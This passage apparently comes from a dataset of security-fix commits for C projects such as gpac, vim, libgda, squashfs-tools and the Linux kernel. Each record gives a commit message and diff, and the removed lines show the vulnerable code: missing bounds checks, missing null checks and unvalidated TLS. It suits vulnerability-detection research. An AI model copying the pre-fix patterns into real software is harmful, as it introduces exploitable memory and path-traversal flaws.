\tISOM_DECREASE_SIZE(ptr, (ptr->version ? 4 : 2) );\n \tptr->nb_entries = gf_bs_read_int(bs, ptr->version ? 32 : 16);\n-\tif (ptr->nb_entries > ptr->size / 6)\n+\tif (ptr->nb_entries > ptr->size / 6 || (u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(FilePartitionEntry))\n \t\treturn GF_ISOM_INVALID_FILE;\n \n \tISOM_DECREASE_SIZE(ptr, ptr->nb_entries * 6 );\n", "related": false}, {"section": "@@ -10637,6 +10654,11 @@ GF_Err fecr_box_read(GF_Box *s, GF_BitStream *bs)\n \tISOM_DECREASE_SIZE(ptr, (ptr->version ? 4 : 2) );\n \tptr->nb_entries = gf_bs_read_int(bs, ptr->version ? 32 : 16);\n \n+\tif (ptr->nb_entries > ptr->size / (ptr->version ? 8 : 6) || (u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(FECReservoirEntry) ) {\n+\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in fecr\\n\", ptr->nb_entries));\n+\t\treturn GF_ISOM_INVALID_FILE;\n+\t}\n+\n \tISOM_DECREASE_SIZE(ptr, ptr->nb_entries * (ptr->version ? 8 : 6) );\n \tGF_SAFE_ALLOC_N(ptr->entries, ptr->nb_entries, FECReservoirEntry);\n \tif (!ptr->entries) return GF_OUT_OF_MEM;\n", "related": false}, {"section": "@@ -12251,8 +12273,10 @@ GF_Err csgp_box_read(GF_Box *s, GF_BitStream *bs)\n \tptr->pattern_count = gf_bs_read_u32(bs);\n \n \n-\tif (ptr->size / ( (pattern_size + scount_size) / 8 ) < ptr->pattern_count )\n-\t return GF_ISOM_INVALID_FILE;\n+\tif ( (ptr->size / ( (pattern_size + scount_size) / 8 ) < ptr->pattern_count) || (u64)ptr->pattern_count > (u64)SIZE_MAX/sizeof(GF_CompactSampleGroupPattern) ) {\n+\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] compact sample gorup pattern_count value (%lu) invalid\\n\", ptr->pattern_count));\n+\t\treturn GF_ISOM_INVALID_FILE;\n+\t}\n \n \tptr->patterns = gf_malloc(sizeof(GF_CompactSampleGroupPattern) * ptr->pattern_count);\n \tif (!ptr->patterns) return GF_OUT_OF_MEM;\n", "related": false}, {"section": "@@ -12267,6 +12291,11 @@ GF_Err csgp_box_read(GF_Box *s, GF_BitStream *bs)\n \t\t\tISOM_DECREASE_SIZE(ptr, bits);\n \t\t\tbits=0;\n \t\t}\n+\t\tif ( (u64)ptr->patterns[i].length > (u64)SIZE_MAX/sizeof(u32) ) {\n+\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] compact sample gorup pattern #%d value (%lu) invalid\\n\", i, ptr->patterns[i].length));\n+\t\t\tptr->patterns[i].sample_group_description_indices = NULL;\n+\t\t\treturn GF_ISOM_INVALID_FILE;\n+\t\t}\n \t\tptr->patterns[i].sample_group_description_indices = gf_malloc(sizeof(u32) * ptr->patterns[i].length);\n \t\tif (!ptr->patterns[i].sample_group_description_indices) return GF_OUT_OF_MEM;\n \t}", "related": false}]} +{"owner": "gnome", "repo": "libgda", "language": "C", "file_name": "providers/web/gda-web-provider.c", "commit_id": "bd7b9568bcd9f6d3e6680bb04323a670c842a62d", "commit_message": "Merge branch 'master' into 'master'\n\nFix CVE-2021-39359 by forcing TLS certificate validation\n\nCloses #249\n\nSee merge request GNOME/libgda!189", "patch": "@@ -355,8 +355,8 @@ gda_web_provider_open_connection (GdaServerProvider *provider, GdaConnection *cn\n \tg_rec_mutex_init (& (cdata->mutex));\n \tcdata->server_id = NULL;\n \tcdata->forced_closing = FALSE;\n-\tcdata->worker_session = soup_session_new ();\n-\tcdata->front_session = soup_session_new_with_options (\"max-conns-per-host\", 1, NULL);\n+\tcdata->worker_session = soup_session_new_with_options (\"ssl-use-system-ca-file\", TRUE, NULL);\n+\tcdata->front_session = soup_session_new_with_options (\"max-conns-per-host\", 1, \"ssl-use-system-ca-file\", TRUE, NULL);\n \tif (use_ssl) {\n \t\tserver_url = g_string_new (\"https://\");\n \t\tg_print (\"USING SSL\\n\");", "sections": [{"section": "@@ -355,8 +355,8 @@ gda_web_provider_open_connection (GdaServerProvider *provider, GdaConnection *cn\n \tg_rec_mutex_init (& (cdata->mutex));\n \tcdata->server_id = NULL;\n \tcdata->forced_closing = FALSE;\n-\tcdata->worker_session = soup_session_new ();\n-\tcdata->front_session = soup_session_new_with_options (\"max-conns-per-host\", 1, NULL);\n+\tcdata->worker_session = soup_session_new_with_options (\"ssl-use-system-ca-file\", TRUE, NULL);\n+\tcdata->front_session = soup_session_new_with_options (\"max-conns-per-host\", 1, \"ssl-use-system-ca-file\", TRUE, NULL);\n \tif (use_ssl) {\n \t\tserver_url = g_string_new (\"https://\");\n \t\tg_print (\"USING SSL\\n\");", "related": false}]} +{"owner": "belledonnecommunications", "repo": "belle-sip", "language": "C", "file_name": "src/grammars/belle_sip_messageParser.h", "commit_id": "116e3eb48fe43ea63eb9f3c4b4b30c48d58d6ff0", "commit_message": "Fix crash while receiving some kind of invalid from header.", "patch": "@@ -2,7 +2,7 @@\n * This C header file was generated by $ANTLR version 3.4\n *\n * - From the grammar source file : ../grammars/belle_sip_message.g\n- * - On : 2021-05-03 11:52:47\n+ * - On : 2021-05-13 15:53:10\n * - for the parser : belle_sip_messageParserParser\n *\n * Editing it, at least manually, is not wise.", "sections": [{"section": "@@ -2,7 +2,7 @@\n * This C header file was generated by $ANTLR version 3.4\n *\n * - From the grammar source file : ../grammars/belle_sip_message.g\n- * - On : 2021-05-03 11:52:47\n+ * - On : 2021-05-13 15:53:10\n * - for the parser : belle_sip_messageParserParser\n *\n * Editing it, at least manually, is not wise.", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/nfsd/trace.h", "commit_id": "7b08cf62b1239a4322427d677ea9363f0ab677c6", "commit_message": "NFSD: Prevent a possible oops in the nfs_dirent() tracepoint\n\nThe double copy of the string is a mistake, plus __assign_str()\nuses strlen(), which is wrong to do on a string that isn't\nguaranteed to be NUL-terminated.\n\nFixes: 6019ce0742ca (\"NFSD: Add a tracepoint to record directory entry encoding\")\nSigned-off-by: Chuck Lever \nSigned-off-by: J. Bruce Fields ", "patch": "@@ -408,7 +408,6 @@ TRACE_EVENT(nfsd_dirent,\n \t\t__entry->ino = ino;\n \t\t__entry->len = namlen;\n \t\tmemcpy(__get_str(name), name, namlen);\n-\t\t__assign_str(name, name);\n \t),\n \tTP_printk(\"fh_hash=0x%08x ino=%llu name=%.*s\",\n \t\t__entry->fh_hash, __entry->ino,", "sections": [{"section": "@@ -408,7 +408,6 @@ TRACE_EVENT(nfsd_dirent,\n \t\t__entry->ino = ino;\n \t\t__entry->len = namlen;\n \t\tmemcpy(__get_str(name), name, namlen);\n-\t\t__assign_str(name, name);\n \t),\n \tTP_printk(\"fh_hash=0x%08x ino=%llu name=%.*s\",\n \t\t__entry->fh_hash, __entry->ino,", "related": false}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/regexp_nfa.c", "commit_id": "65b605665997fad54ef39a93199e305af2fe4d7f", "commit_message": "patch 8.2.3409: reading beyond end of line with invalid utf-8 character\n\nProblem: Reading beyond end of line with invalid utf-8 character.\nSolution: Check for NUL when advancing.", "patch": "@@ -5664,7 +5664,8 @@ find_match_text(colnr_T startcol, int regstart, char_u *match_text)\n \t\tmatch = FALSE;\n \t\tbreak;\n \t }\n-\t len2 += MB_CHAR2LEN(c2);\n+\t len2 += enc_utf8 ? utf_ptr2len(rex.line + col + len2)\n+\t\t\t\t\t\t\t : MB_CHAR2LEN(c2);\n \t}\n \tif (match\n \t\t// check that no composing char follows", "sections": [{"section": "@@ -5664,7 +5664,8 @@ find_match_text(colnr_T startcol, int regstart, char_u *match_text)\n \t\tmatch = FALSE;\n \t\tbreak;\n \t }\n-\t len2 += MB_CHAR2LEN(c2);\n+\t len2 += enc_utf8 ? utf_ptr2len(rex.line + col + len2)\n+\t\t\t\t\t\t\t : MB_CHAR2LEN(c2);\n \t}\n \tif (match\n \t\t// check that no composing char follows", "related": false}]} +{"owner": "plougher", "repo": "squashfs-tools", "language": "C", "file_name": "squashfs-tools/unsquash-3.c", "commit_id": "e0485802ec72996c20026da320650d8362f555bd", "commit_message": "Unsquashfs: additional write outside destination directory exploit fix\n\nAn issue on github (https://github.com/plougher/squashfs-tools/issues/72)\nshowed how some specially crafted Squashfs filesystems containing\ninvalid file names (with '/' and '..') can cause Unsquashfs to write\nfiles outside of the destination directory.\n\nSince then it has been shown that specially crafted Squashfs filesystems\nthat contain a symbolic link pointing outside of the destination directory,\ncoupled with an identically named file within the same directory, can\ncause Unsquashfs to write files outside of the destination directory.\n\nSpecifically the symbolic link produces a pathname pointing outside\nof the destination directory, which is then followed when writing the\nduplicate identically named file within the directory.\n\nThis commit fixes this exploit by explictly checking for duplicate\nfilenames within a directory. As directories in v2.1, v3.x, and v4.0\nfilesystems are sorted, this is achieved by checking for consecutively\nidentical filenames. Additionally directories are checked to\nensure they are sorted, to avoid attempts to evade the duplicate\ncheck.\n\nVersion 1.x and 2.0 filesystems (where the directories were unsorted)\nare sorted and then the above duplicate filename check is applied.\n\nSigned-off-by: Phillip Lougher ", "patch": "@@ -497,6 +497,12 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse\n \t\t}\n \t}\n \n+\t/* check directory for duplicate names and sorting */\n+\tif(check_directory(dir) == FALSE) {\n+\t\tERROR(\"File system corrupted: directory has duplicate names or is unsorted\\n\");\n+\t\tgoto corrupted;\n+\t}\n+\n \treturn dir;\n \n corrupted:", "sections": [{"section": "@@ -497,6 +497,12 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse\n \t\t}\n \t}\n \n+\t/* check directory for duplicate names and sorting */\n+\tif(check_directory(dir) == FALSE) {\n+\t\tERROR(\"File system corrupted: directory has duplicate names or is unsorted\\n\");\n+\t\tgoto corrupted;\n+\t}\n+\n \treturn dir;\n \n corrupted:", "related": false}]} +{"owner": "gpac", "repo": "gpac", "language": "C", "file_name": "applications/mp4box/filedump.c", "commit_id": "289ffce3e0d224d314f5f92a744d5fe35999f20b", "commit_message": "fixed #1767 (fuzz)", "patch": "@@ -2880,23 +2880,27 @@ void DumpTrackInfo(GF_ISOFile *file, GF_ISOTrackID trackID, Bool full_dump, Bool\n \t\tfprintf(stderr, \"\\tAOM AV1 stream - Resolution %d x %d\\n\", w, h);\n \n \t\tav1c = gf_isom_av1_config_get(file, trackNum, 1);\n-\t\tfprintf(stderr, \"\\tversion=%u, profile=%u, level_idx0=%u, tier=%u\\n\", (u32)av1c->version, (u32)av1c->seq_profile, (u32)av1c->seq_level_idx_0, (u32)av1c->seq_tier_0);\n-\t\tfprintf(stderr, \"\\thigh_bitdepth=%u, twelve_bit=%u, monochrome=%u\\n\", (u32)av1c->high_bitdepth, (u32)av1c->twelve_bit, (u32)av1c->monochrome);\n-\t\tfprintf(stderr, \"\\tchroma: subsampling_x=%u, subsampling_y=%u, sample_position=%u\\n\", (u32)av1c->chroma_subsampling_x, (u32)av1c->chroma_subsampling_y, (u32)av1c->chroma_sample_position);\n+\t\tif (!av1c) {\n+\t\t\tfprintf(stderr, \"\\tCorrupted av1 config\\n\");\n+\t\t} else {\n+\t\t\tfprintf(stderr, \"\\tversion=%u, profile=%u, level_idx0=%u, tier=%u\\n\", (u32)av1c->version, (u32)av1c->seq_profile, (u32)av1c->seq_level_idx_0, (u32)av1c->seq_tier_0);\n+\t\t\tfprintf(stderr, \"\\thigh_bitdepth=%u, twelve_bit=%u, monochrome=%u\\n\", (u32)av1c->high_bitdepth, (u32)av1c->twelve_bit, (u32)av1c->monochrome);\n+\t\t\tfprintf(stderr, \"\\tchroma: subsampling_x=%u, subsampling_y=%u, sample_position=%u\\n\", (u32)av1c->chroma_subsampling_x, (u32)av1c->chroma_subsampling_y, (u32)av1c->chroma_sample_position);\n \n-\t\tif (av1c->initial_presentation_delay_present)\n-\t\t\tfprintf(stderr, \"\\tInitial presentation delay %u\\n\", (u32) av1c->initial_presentation_delay_minus_one+1);\n+\t\t\tif (av1c->initial_presentation_delay_present)\n+\t\t\t\tfprintf(stderr, \"\\tInitial presentation delay %u\\n\", (u32) av1c->initial_presentation_delay_minus_one+1);\n \n-\t\tcount = gf_list_count(av1c->obu_array);\n-\t\tfor (i=0; iobu_array, i);\n-\t\t\tgf_sha1_csum((u8*)obu->obu, (u32)obu->obu_length, hash);\n-\t\t\tfprintf(stderr, \"\\tOBU#%d %s hash: \", i+1, gf_av1_get_obu_name(obu->obu_type) );\n-\t\t\tfor (j=0; j<20; j++) fprintf(stderr, \"%02X\", hash[j]);\n-\t\t\tfprintf(stderr, \"\\n\");\n+\t\t\tcount = gf_list_count(av1c->obu_array);\n+\t\t\tfor (i=0; iobu_array, i);\n+\t\t\t\tgf_sha1_csum((u8*)obu->obu, (u32)obu->obu_length, hash);\n+\t\t\t\tfprintf(stderr, \"\\tOBU#%d %s hash: \", i+1, gf_av1_get_obu_name(obu->obu_type) );\n+\t\t\t\tfor (j=0; j<20; j++) fprintf(stderr, \"%02X\", hash[j]);\n+\t\t\t\tfprintf(stderr, \"\\n\");\n+\t\t\t}\n+\t\t\tgf_odf_av1_cfg_del(av1c);\n \t\t}\n-\t\tgf_odf_av1_cfg_del(av1c);\n \t} else if (msub_type == GF_ISOM_SUBTYPE_3GP_H263) {\n \t\tu32 w, h;\n \t\tgf_isom_get_visual_info(file, trackNum, 1, &w, &h);", "sections": [{"section": "@@ -2880,23 +2880,27 @@ void DumpTrackInfo(GF_ISOFile *file, GF_ISOTrackID trackID, Bool full_dump, Bool\n \t\tfprintf(stderr, \"\\tAOM AV1 stream - Resolution %d x %d\\n\", w, h);\n \n \t\tav1c = gf_isom_av1_config_get(file, trackNum, 1);\n-\t\tfprintf(stderr, \"\\tversion=%u, profile=%u, level_idx0=%u, tier=%u\\n\", (u32)av1c->version, (u32)av1c->seq_profile, (u32)av1c->seq_level_idx_0, (u32)av1c->seq_tier_0);\n-\t\tfprintf(stderr, \"\\thigh_bitdepth=%u, twelve_bit=%u, monochrome=%u\\n\", (u32)av1c->high_bitdepth, (u32)av1c->twelve_bit, (u32)av1c->monochrome);\n-\t\tfprintf(stderr, \"\\tchroma: subsampling_x=%u, subsampling_y=%u, sample_position=%u\\n\", (u32)av1c->chroma_subsampling_x, (u32)av1c->chroma_subsampling_y, (u32)av1c->chroma_sample_position);\n+\t\tif (!av1c) {\n+\t\t\tfprintf(stderr, \"\\tCorrupted av1 config\\n\");\n+\t\t} else {\n+\t\t\tfprintf(stderr, \"\\tversion=%u, profile=%u, level_idx0=%u, tier=%u\\n\", (u32)av1c->version, (u32)av1c->seq_profile, (u32)av1c->seq_level_idx_0, (u32)av1c->seq_tier_0);\n+\t\t\tfprintf(stderr, \"\\thigh_bitdepth=%u, twelve_bit=%u, monochrome=%u\\n\", (u32)av1c->high_bitdepth, (u32)av1c->twelve_bit, (u32)av1c->monochrome);\n+\t\t\tfprintf(stderr, \"\\tchroma: subsampling_x=%u, subsampling_y=%u, sample_position=%u\\n\", (u32)av1c->chroma_subsampling_x, (u32)av1c->chroma_subsampling_y, (u32)av1c->chroma_sample_position);\n \n-\t\tif (av1c->initial_presentation_delay_present)\n-\t\t\tfprintf(stderr, \"\\tInitial presentation delay %u\\n\", (u32) av1c->initial_presentation_delay_minus_one+1);\n+\t\t\tif (av1c->initial_presentation_delay_present)\n+\t\t\t\tfprintf(stderr, \"\\tInitial presentation delay %u\\n\", (u32) av1c->initial_presentation_delay_minus_one+1);\n \n-\t\tcount = gf_list_count(av1c->obu_array);\n-\t\tfor (i=0; iobu_array, i);\n-\t\t\tgf_sha1_csum((u8*)obu->obu, (u32)obu->obu_length, hash);\n-\t\t\tfprintf(stderr, \"\\tOBU#%d %s hash: \", i+1, gf_av1_get_obu_name(obu->obu_type) );\n-\t\t\tfor (j=0; j<20; j++) fprintf(stderr, \"%02X\", hash[j]);\n-\t\t\tfprintf(stderr, \"\\n\");\n+\t\t\tcount = gf_list_count(av1c->obu_array);\n+\t\t\tfor (i=0; iobu_array, i);\n+\t\t\t\tgf_sha1_csum((u8*)obu->obu, (u32)obu->obu_length, hash);\n+\t\t\t\tfprintf(stderr, \"\\tOBU#%d %s hash: \", i+1, gf_av1_get_obu_name(obu->obu_type) );\n+\t\t\t\tfor (j=0; j<20; j++) fprintf(stderr, \"%02X\", hash[j]);\n+\t\t\t\tfprintf(stderr, \"\\n\");\n+\t\t\t}\n+\t\t\tgf_odf_av1_cfg_del(av1c);\n \t\t}\n-\t\tgf_odf_av1_cfg_del(av1c);\n \t} else if (msub_type == GF_ISOM_SUBTYPE_3GP_H263) {\n \t\tu32 w, h;\n \t\tgf_isom_get_visual_info(file, trackNum, 1, &w, &h);", "related": false}]} +{"owner": "gpac", "repo": "gpac", "language": "C", "file_name": "src/isomedia/media.c", "commit_id": "328def7d3b93847d64ecb6e9e0399684e57c3eca", "commit_message": "fixed #1766 (fuzz)", "patch": "@@ -674,7 +674,6 @@ GF_Err Media_GetSample(GF_MediaBox *mdia, u32 sampleNumber, GF_ISOSample **samp,\n \n GF_Err Media_CheckDataEntry(GF_MediaBox *mdia, u32 dataEntryIndex)\n {\n-\n \tGF_DataEntryURLBox *entry;\n \tGF_DataMap *map;\n \tGF_Err e;\n@@ -685,8 +684,10 @@ GF_Err Media_CheckDataEntry(GF_MediaBox *mdia, u32 dataEntryIndex)\n \tif (entry->flags == 1) return GF_OK;\n \n \t//ok, not self contained, let's go for it...\n-\t//we don't know what's a URN yet\n-\tif (entry->type == GF_ISOM_BOX_TYPE_URN) return GF_NOT_SUPPORTED;\n+\t//we only support alias and URL boxes\n+\tif ((entry->type != GF_ISOM_BOX_TYPE_URL) && (entry->type != GF_QT_BOX_TYPE_ALIS) )\n+\t\treturn GF_NOT_SUPPORTED;\n+\n \tif (mdia->mediaTrack->moov->mov->openMode == GF_ISOM_OPEN_WRITE) {\n \t\te = gf_isom_datamap_new(entry->location, NULL, GF_ISOM_DATA_MAP_READ, &map);\n \t} else {", "sections": [{"section": "@@ -674,7 +674,6 @@ GF_Err Media_GetSample(GF_MediaBox *mdia, u32 sampleNumber, GF_ISOSample **samp,\n \n GF_Err Media_CheckDataEntry(GF_MediaBox *mdia, u32 dataEntryIndex)\n {\n-\n \tGF_DataEntryURLBox *entry;\n \tGF_DataMap *map;\n \tGF_Err e;\n", "related": false}, {"section": "@@ -685,8 +684,10 @@ GF_Err Media_CheckDataEntry(GF_MediaBox *mdia, u32 dataEntryIndex)\n \tif (entry->flags == 1) return GF_OK;\n \n \t//ok, not self contained, let's go for it...\n-\t//we don't know what's a URN yet\n-\tif (entry->type == GF_ISOM_BOX_TYPE_URN) return GF_NOT_SUPPORTED;\n+\t//we only support alias and URL boxes\n+\tif ((entry->type != GF_ISOM_BOX_TYPE_URL) && (entry->type != GF_QT_BOX_TYPE_ALIS) )\n+\t\treturn GF_NOT_SUPPORTED;\n+\n \tif (mdia->mediaTrack->moov->mov->openMode == GF_ISOM_OPEN_WRITE) {\n \t\te = gf_isom_datamap_new(entry->location, NULL, GF_ISOM_DATA_MAP_READ, &map);\n \t} else {", "related": false}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/indent.c", "commit_id": "b7081e135a16091c93f6f5f7525a5c58fb7ca9f9", "commit_message": "patch 8.2.3402: invalid memory access when using :retab with large value\n\nProblem: Invalid memory access when using :retab with large value.\nSolution: Check the number is positive.", "patch": "@@ -18,18 +18,19 @@\n /*\n * Set the integer values corresponding to the string setting of 'vartabstop'.\n * \"array\" will be set, caller must free it if needed.\n+ * Return FAIL for an error.\n */\n int\n tabstop_set(char_u *var, int **array)\n {\n- int valcount = 1;\n- int t;\n- char_u *cp;\n+ int\t valcount = 1;\n+ int\t t;\n+ char_u *cp;\n \n if (var[0] == NUL || (var[0] == '0' && var[1] == NUL))\n {\n \t*array = NULL;\n-\treturn TRUE;\n+\treturn OK;\n }\n \n for (cp = var; *cp != NUL; ++cp)\n@@ -43,8 +44,8 @@ tabstop_set(char_u *var, int **array)\n \t\tif (cp != end)\n \t\t emsg(_(e_positive));\n \t\telse\n-\t\t emsg(_(e_invarg));\n-\t\treturn FALSE;\n+\t\t semsg(_(e_invarg2), cp);\n+\t\treturn FAIL;\n \t }\n \t}\n \n@@ -55,26 +56,33 @@ tabstop_set(char_u *var, int **array)\n \t ++valcount;\n \t continue;\n \t}\n-\temsg(_(e_invarg));\n-\treturn FALSE;\n+\tsemsg(_(e_invarg2), var);\n+\treturn FAIL;\n }\n \n *array = ALLOC_MULT(int, valcount + 1);\n if (*array == NULL)\n-\treturn FALSE;\n+\treturn FAIL;\n (*array)[0] = valcount;\n \n t = 1;\n for (cp = var; *cp != NUL;)\n {\n-\t(*array)[t++] = atoi((char *)cp);\n-\twhile (*cp != NUL && *cp != ',')\n+\tint n = atoi((char *)cp);\n+\n+\tif (n < 0 || n > 9999)\n+\t{\n+\t semsg(_(e_invarg2), cp);\n+\t return FAIL;\n+\t}\n+\t(*array)[t++] = n;\n+\twhile (*cp != NUL && *cp != ',')\n \t ++cp;\n \tif (*cp != NUL)\n \t ++cp;\n }\n \n- return TRUE;\n+ return OK;\n }\n \n /*\n@@ -1591,7 +1599,7 @@ ex_retab(exarg_T *eap)\n \n #ifdef FEAT_VARTABS\n new_ts_str = eap->arg;\n- if (!tabstop_set(eap->arg, &new_vts_array))\n+ if (tabstop_set(eap->arg, &new_vts_array) == FAIL)\n \treturn;\n while (vim_isdigit(*(eap->arg)) || *(eap->arg) == ',')\n \t++(eap->arg);", "sections": [{"section": "@@ -18,18 +18,19 @@\n /*\n * Set the integer values corresponding to the string setting of 'vartabstop'.\n * \"array\" will be set, caller must free it if needed.\n+ * Return FAIL for an error.\n */\n int\n tabstop_set(char_u *var, int **array)\n {\n- int valcount = 1;\n- int t;\n- char_u *cp;\n+ int\t valcount = 1;\n+ int\t t;\n+ char_u *cp;\n \n if (var[0] == NUL || (var[0] == '0' && var[1] == NUL))\n {\n \t*array = NULL;\n-\treturn TRUE;\n+\treturn OK;\n }\n \n for (cp = var; *cp != NUL; ++cp)\n", "related": false}, {"section": "@@ -43,8 +44,8 @@ tabstop_set(char_u *var, int **array)\n \t\tif (cp != end)\n \t\t emsg(_(e_positive));\n \t\telse\n-\t\t emsg(_(e_invarg));\n-\t\treturn FALSE;\n+\t\t semsg(_(e_invarg2), cp);\n+\t\treturn FAIL;\n \t }\n \t}\n \n", "related": false}, {"section": "@@ -55,26 +56,33 @@ tabstop_set(char_u *var, int **array)\n \t ++valcount;\n \t continue;\n \t}\n-\temsg(_(e_invarg));\n-\treturn FALSE;\n+\tsemsg(_(e_invarg2), var);\n+\treturn FAIL;\n }\n \n *array = ALLOC_MULT(int, valcount + 1);\n if (*array == NULL)\n-\treturn FALSE;\n+\treturn FAIL;\n (*array)[0] = valcount;\n \n t = 1;\n for (cp = var; *cp != NUL;)\n {\n-\t(*array)[t++] = atoi((char *)cp);\n-\twhile (*cp != NUL && *cp != ',')\n+\tint n = atoi((char *)cp);\n+\n+\tif (n < 0 || n > 9999)\n+\t{\n+\t semsg(_(e_invarg2), cp);\n+\t return FAIL;\n+\t}\n+\t(*array)[t++] = n;\n+\twhile (*cp != NUL && *cp != ',')\n \t ++cp;\n \tif (*cp != NUL)\n \t ++cp;\n }\n \n- return TRUE;\n+ return OK;\n }\n \n /*\n", "related": false}, {"section": "@@ -1591,7 +1599,7 @@ ex_retab(exarg_T *eap)\n \n #ifdef FEAT_VARTABS\n new_ts_str = eap->arg;\n- if (!tabstop_set(eap->arg, &new_vts_array))\n+ if (tabstop_set(eap->arg, &new_vts_array) == FAIL)\n \treturn;\n while (vim_isdigit(*(eap->arg)) || *(eap->arg) == ',')\n \t++(eap->arg);", "related": false}]} +{"owner": "cyrusimap", "repo": "cyrus-imapd", "language": "C", "file_name": "imap/jmap_mail_query.h", "commit_id": "3b207ee704d03926e1a7f6db4b93bc76c2e1a694", "commit_message": "Merge pull request #4707 from cyrusimap/lmtp_jmap_email_query_attachmentbody_sieve\n\nlmtpd: support JMAP attachment body search in Sieve", "patch": "@@ -61,7 +61,6 @@\n \n #include \"carddav_db.h\"\n #include \"message.h\"\n-#include \"xapian_wrap.h\"\n \n struct email_contactfilter {\n const char *accountid;\n@@ -124,13 +123,6 @@ extern void jmap_email_filtercondition_validate(const char *field, json_t *arg,\n *\n * Returns non-zero if filter matches.\n * On error, sets the JMAP error in err. */\n-struct matchmime {\n- char *dbpath;\n- xapian_dbw_t *dbw;\n- message_t *m;\n- const struct buf *mime;\n- void *convmatch;\n-};\n typedef struct matchmime matchmime_t;\n extern matchmime_t *jmap_email_matchmime_new(const struct buf *buf, json_t **err);\n extern void jmap_email_matchmime_free(matchmime_t **matchmimep);", "sections": [{"section": "@@ -61,7 +61,6 @@\n \n #include \"carddav_db.h\"\n #include \"message.h\"\n-#include \"xapian_wrap.h\"\n \n struct email_contactfilter {\n const char *accountid;\n", "related": false}, {"section": "@@ -124,13 +123,6 @@ extern void jmap_email_filtercondition_validate(const char *field, json_t *arg,\n *\n * Returns non-zero if filter matches.\n * On error, sets the JMAP error in err. */\n-struct matchmime {\n- char *dbpath;\n- xapian_dbw_t *dbw;\n- message_t *m;\n- const struct buf *mime;\n- void *convmatch;\n-};\n typedef struct matchmime matchmime_t;\n extern matchmime_t *jmap_email_matchmime_new(const struct buf *buf, json_t **err);\n extern void jmap_email_matchmime_free(matchmime_t **matchmimep);", "related": false}]} +{"owner": "reddit", "repo": "snudown", "language": "C", "file_name": "src/siphash.c", "commit_id": "1ac2c130b210539ee1e5d67a7bac93f9d8007c0e", "commit_message": "Hash-collision denial-of-service vulnerabilities (#87)\n\n* Add case insensitive SipHash implementation\n* Replace ref hash function with SipHash\n* Add label to link_ref struct.\n* Update find_link_ref to compare link labels as well as hashes\n* Update add_link_ref to disallow duplicate entries.\n* cast to char from uint8_t for strncasecmp\n* update README markdown, remove TODO\n* add py2 wheel generation\n* fix: add logic for older glibc not having getrandom, impacting staging\n\nCo-authored-by: Nicolaas ", "patch": "@@ -0,0 +1,329 @@\n+/*\n+ SipHash reference C implementation\n+\n+ Copyright (c) 2012-2016 Jean-Philippe Aumasson\n+ \n+ Copyright (c) 2012-2014 Daniel J. Bernstein \n+ Copyright (c) 2017 Salvatore Sanfilippo \n+\n+ To the extent possible under law, the author(s) have dedicated all copyright\n+ and related and neighboring rights to this software to the public domain\n+ worldwide. This software is distributed without any warranty.\n+\n+ You should have received a copy of the CC0 Public Domain Dedication along\n+ with this software. If not, see\n+ .\n+\n+ ----------------------------------------------------------------------------\n+\n+ This version was modified by Salvatore Sanfilippo \n+ in the following ways:\n+\n+ 1. Hard-code 2-4 rounds in the hope the compiler can optimize it more\n+ in this raw from. Anyway we always want the standard 2-4 variant.\n+ 2. Modify the prototype and implementation so that the function directly\n+ returns an uint64_t value, the hash itself, instead of receiving an\n+ output buffer. This also means that the output size is set to 8 bytes\n+ and the 16 bytes output code handling was removed.\n+ 3. Provide a case insensitive variant to be used when hashing strings that\n+ must be considered identical by the hash table regardless of the case.\n+ If we don't have directly a case insensitive hash function, we need to\n+ perform a text transformation in some temporary buffer, which is costly.\n+ 4. Remove debugging code.\n+ 5. Modified the original test.c file to be a stand-alone function testing\n+ the function in the new form (returing an uint64_t) using just the\n+ relevant test vector.\n+ */\n+#include \n+#include \n+#include \n+#include \n+#include \n+\n+#define ROTL(x, b) (uint64_t)(((x) << (b)) | ((x) >> (64 - (b))))\n+\n+#define U32TO8_LE(p, v) \\\n+ (p)[0] = (uint8_t)((v)); \\\n+ (p)[1] = (uint8_t)((v) >> 8); \\\n+ (p)[2] = (uint8_t)((v) >> 16); \\\n+ (p)[3] = (uint8_t)((v) >> 24);\n+\n+#define U64TO8_LE(p, v) \\\n+ U32TO8_LE((p), (uint32_t)((v))); \\\n+ U32TO8_LE((p) + 4, (uint32_t)((v) >> 32));\n+\n+#define U8TO64_LE(p) \\\n+ (((uint64_t)((p)[0])) | ((uint64_t)((p)[1]) << 8) | \\\n+ ((uint64_t)((p)[2]) << 16) | ((uint64_t)((p)[3]) << 24) | \\\n+ ((uint64_t)((p)[4]) << 32) | ((uint64_t)((p)[5]) << 40) | \\\n+ ((uint64_t)((p)[6]) << 48) | ((uint64_t)((p)[7]) << 56))\n+\n+#define U8TO64_LE_NOCASE(p) \\\n+ (((uint64_t)(tolower((p)[0]))) | \\\n+ ((uint64_t)(tolower((p)[1])) << 8) | \\\n+ ((uint64_t)(tolower((p)[2])) << 16) | \\\n+ ((uint64_t)(tolower((p)[3])) << 24) | \\\n+ ((uint64_t)(tolower((p)[4])) << 32) | \\\n+ ((uint64_t)(tolower((p)[5])) << 40) | \\\n+ ((uint64_t)(tolower((p)[6])) << 48) | \\\n+ ((uint64_t)(tolower((p)[7])) << 56))\n+\n+#define SIPROUND \\\n+ do { \\\n+ v0 += v1; \\\n+ v1 = ROTL(v1, 13); \\\n+ v1 ^= v0; \\\n+ v0 = ROTL(v0, 32); \\\n+ v2 += v3; \\\n+ v3 = ROTL(v3, 16); \\\n+ v3 ^= v2; \\\n+ v0 += v3; \\\n+ v3 = ROTL(v3, 21); \\\n+ v3 ^= v0; \\\n+ v2 += v1; \\\n+ v1 = ROTL(v1, 17); \\\n+ v1 ^= v2; \\\n+ v2 = ROTL(v2, 32); \\\n+ } while (0)\n+\n+uint64_t siphash(const uint8_t *in, const size_t inlen, const uint8_t *k) {\n+ uint64_t hash;\n+ uint8_t *out = (uint8_t*) &hash;\n+ uint64_t v0 = 